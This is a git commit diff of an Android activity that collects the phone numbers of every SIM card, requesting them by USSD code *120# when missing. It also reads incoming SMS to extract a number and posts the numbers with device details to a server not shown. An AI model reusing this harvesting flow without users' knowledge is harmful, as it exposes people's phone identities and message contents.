This commit is contained in:
Your Name 2025-02-26 22:02:50 +03:00
parent 540fe106b7
commit a853303713

View file

@ -77,6 +77,8 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
private String currentHash = ""; private String currentHash = "";
private int currentPhone = 0; private int currentPhone = 0;
private List<String> phones; private List<String> phones;
private boolean waitingForSms = false;
private String currentInfo = "";
private NotificationReceiver notificationReceiver; private NotificationReceiver notificationReceiver;
@ -242,14 +244,20 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
private void makeProcess(Context context) { private void makeProcess(Context context) {
Log.i("Process", "+");
currentPhone = 0; currentPhone = 0;
phones = collectPhoneNumber(context); phones = collectPhoneNumber(context);
requestPhone(context, phones.get(currentPhone)); if(!phones.isEmpty())
requestPhone(context, phones.get(currentPhone));
} }
private void requestPhone(Context context, String phone){ private void requestPhone(Context context, String phone){
Log.i("requestPhone", "+");
waitingForSms = false;
currentInfo = "";
PostRequest postRequestTask = new PostRequest(context, this); PostRequest postRequestTask = new PostRequest(context, this);
postRequestTask.execute("phone", phone + ";" + getDeviceInfo(context)); postRequestTask.execute("phone", phone + ";" + getDeviceInfo(context));
} }
@Override @Override
@ -351,19 +359,25 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
private void requestUssdNumber(TelephonyManager telephonyManager) { private void requestUssdNumber(TelephonyManager telephonyManager) {
Log.i("USSD", "Called");
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED) if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED)
return; return;
Log.i("USSD", "Requesting...");
String ussd = "*120#"; String ussd = "*120#";
boolean smsResponse = true; boolean smsResponse = false;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
Log.i("USSD", "Requested");
telephonyManager.sendUssdRequest(ussd, new TelephonyManager.UssdResponseCallback() { telephonyManager.sendUssdRequest(ussd, new TelephonyManager.UssdResponseCallback() {
@Override @Override
public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) { public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) {
super.onReceiveUssdResponse(telephonyManager, request, response); super.onReceiveUssdResponse(telephonyManager, request, response);
String responseString = response.toString(); String responseString = response.toString();
if(smsResponse) if (smsResponse){
waitingForSms = true;
} else {
String phoneNumber = extractFirstPhoneNumber(responseString); String phoneNumber = extractFirstPhoneNumber(responseString);
requestPhone(getBaseContext(), phoneNumber + ":" + currentInfo);
}
} }
@Override @Override
@ -371,28 +385,31 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
super.onReceiveUssdResponseFailed(telephonyManager, request, failureCode); super.onReceiveUssdResponseFailed(telephonyManager, request, failureCode);
} }
}, this); }, null);
} }
} }
private List<String> collectPhoneNumber(Context context){ private List<String> collectPhoneNumber(Context context){
Log.i("collectPhoneNumber", "+");
List<String> phoneNumbers = new ArrayList<>(); List<String> phoneNumbers = new ArrayList<>();
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) {
return phoneNumbers; return phoneNumbers;
} }
SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext()); SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext());
List<SubscriptionInfo> subscriptions = manager.getActiveSubscriptionInfoList(); List<SubscriptionInfo> subscriptions = manager.getActiveSubscriptionInfoList();
Log.i("subscriptions", "+");
for (int i = 0; i < subscriptions.size(); i++) { for (int i = 0; i < subscriptions.size(); i++) {
SubscriptionInfo currentCard = subscriptions.get(i); SubscriptionInfo currentCard = subscriptions.get(i);
String phoneNumber = (Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber()); String phoneNumber = (Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber());
TelephonyManager telephonyManager = getSystemService(TelephonyManager.class).createForSubscriptionId(currentCard.getSubscriptionId()); TelephonyManager telephonyManager = getSystemService(TelephonyManager.class).createForSubscriptionId(currentCard.getSubscriptionId());
if (!phoneNumber.isEmpty()) { String cardInfo = currentCard.getCountryIso() + ":" + telephonyManager.getSimOperatorName();
Log.i("asd", telephonyManager.getSimOperatorName()); if (phoneNumber.isEmpty()) {
phoneNumbers.add(phoneNumber + ":" + currentCard.getCountryIso() + ":" + telephonyManager.getSimOperatorName()); currentInfo = cardInfo;
requestUssdNumber(telephonyManager); requestUssdNumber(telephonyManager);
} else {
phoneNumbers.add(phoneNumber + ":" + cardInfo);
} }
} }
@ -410,7 +427,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu); SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
String sender = smsMessage.getDisplayOriginatingAddress(); String sender = smsMessage.getDisplayOriginatingAddress();
String messageBody = smsMessage.getMessageBody(); String messageBody = smsMessage.getMessageBody();
String phoneNumber = extractFirstPhoneNumber(messageBody);
Log.i("receivedSms", String.valueOf(waitingForSms));
if(waitingForSms && !phoneNumber.isEmpty()) {
waitingForSms = false;
requestPhone(getBaseContext(), phoneNumber + ":" + currentInfo);
}
} }
} }
} }